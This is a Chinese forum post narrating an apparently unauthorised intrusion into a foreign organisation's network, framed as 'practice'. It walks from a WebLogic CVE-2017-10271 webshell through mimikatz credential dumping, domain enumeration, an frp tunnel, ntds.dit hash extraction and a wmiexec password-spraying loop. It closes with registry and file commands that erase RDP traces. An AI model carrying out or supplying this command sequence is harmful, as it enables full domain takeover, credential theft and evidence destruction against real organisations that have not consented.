安全矩阵

 找回密码
 立即注册
搜索
查看: 538|回复: 0

对某外国网站的一次内网渗透练手

[复制链接]

77

主题

77

帖子

257

积分

中级会员

Rank: 3Rank: 3

积分
257
发表于 2022-11-17 20:23:11 | 显示全部楼层 |阅读模式
  0X01 目标主站:
https://www.xxx.com/en/
编辑
  0X02 外围打点通过子域名,找到分站:
https://www.xxx.com/
C段里面有一个安装Weblogic的服务器,CVE-2017-10271。
编辑

上传webshell。
http://xxx:xxxx//wls-wsat/xxx.jsp
编辑
  0X03 内网渗透  主机信息收集查看当前权限。
whoami
编辑
查看机器网卡情况。
ipconfig /all

           
  •         存在域:xxx.local。

           
  •         当前内网ip段:10.100.20.0/24.

查看当前机器是否出网。
ping www.google.com
编辑
查看当前主机是否存在杀软,也是个老牌杀软ESET NOD32,国外经常用这个,这次不用CS和MSF打。
编辑
查看当前机器安装的软件。
wmic product get name,version
不知道为什么没有回显,写入文件也没有。
查看当前机器的详细信息。
systeminfo
171个补丁。。。。。。
编辑
抓取密码,使用Prodump+mimikatz导出lsass.exe存储的密码,获得账号密码,看样子有大哥来过,修改过注册表,不然windows server 2021抓不到明文密码,我们再搞一遍。
编辑

编辑
PRINCHEALTH\psvadmin:xxxxxPSVHR-APPPROD\oracle:xxxx
查看是否在域内。
net time /domain
域用户+域机器,舒服。
编辑
查看当前机器与其它机器建立的ipc连接。
net use
编辑
  0X04 域信息收集查看当前域管理员组,发现psvadmin为域管理员。
​​
net group "Domain admins" /domain
编辑
查询信任域。
nltest /domain_trusts
编辑

           
  •         pxxxxxxx.local为主域。

           
  •         pxx.local为子域。

定位域控机器。
nltest /dclist:domainname
编辑

其中HWC-ADSRV-P01为主域控机器,但没有找到子域的域控。
编辑
查询主域控机器的ip地址。
ping HWC-ADSRV-P01
编辑
通过spn查询域pxxxxxxx.local结构。
setspn -T pxxxxxxx.local -Q */* >spn.txt
编辑
并统计域内主机数量,好家伙,3167台。
grep "CN=" spn.txt | awk -F "," {'print $1'} | awk -F "=" {'print $2'} > host.txt
编辑
spn看起来太麻烦了,所以使用ADExplorer连接域控机器并导出域结构,ADExplorerSnapshot.py转换json格式,并将其导入Bloodhound,进行可视化分析,3113台机器,4897个用户。
编辑

Bloodhound
当前用户是psvadmin,我们的目标是域控机器的最高权限,再Bloodhound中填入开始节点为psvadmin用户和目标节点为域控机器名,它会为我们规划出一条攻击路径。
编辑
攻击路径
我们可以看到psvadmin用户是域管理员组的一名成员,比较简单,所以直接可以登录域控机器。
  隧道搭建Neo-reGeorg、Venom都被杀,frp不杀,很奇怪,出网使用frp反向代理搭建隧道。
编辑
frpc
编辑
frps
编辑
SocksCap
  域渗透当前为C类ip段,Ladon扫描内网存活主机。
编辑
Ladon
隧道已经搭建好了,拥有域管理员psvadmin明文账号密码,直接远程登录主域控机器。
编辑
mstsc
接下来就是使用NTDSUTIL拍摄ntds.dit的快照,使用NTDSDumpEx导出该域用户的全部hash即可。
最后使用wmiexec进行密码喷洒即可。
FOR /F %i in (ip.txt) do wmiexec Pxxxxxxx/psvadmin:xxxxxxx@%i whoami
编辑
密码喷洒

到这里这个域基本被打穿。
  0X05 权限维持由于只是练习,就不作域权限维持了,可以制作黄金票据。
  0X06 痕迹清理远程登录了主域控机器:172.21.2.2。
清理3389日志。

//删除注册表reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /freg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /freg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"//删除缓存文件cd %userprofile%\documents\attrib Default.rdp -s -hdel Default.rdp
清除recent。
del /f /s /q “%userprofile%\Recent*.*
最后清除在边界机器里上传的工具与脚本并清除日志。
  0X07 总结

           
  •         做好前期的信息收集,信息收集越好,打点也就越容易。

           
  •         内网渗透不要依赖于Cobalt strike和MSF这种框架工具,多手动操作一下,可以对加深对原理的理解,掌握原理才能做到游刃有余。

           
  •         多学习各种渗透姿势,不要只局限于一种渗透方式,毕竟内网的主机漏洞越来越少,即使有,成功率也不高。

           
  •         不要做任何破坏性动作,注意最后的痕迹清理工作。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 02:01 , Processed in 0.014834 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表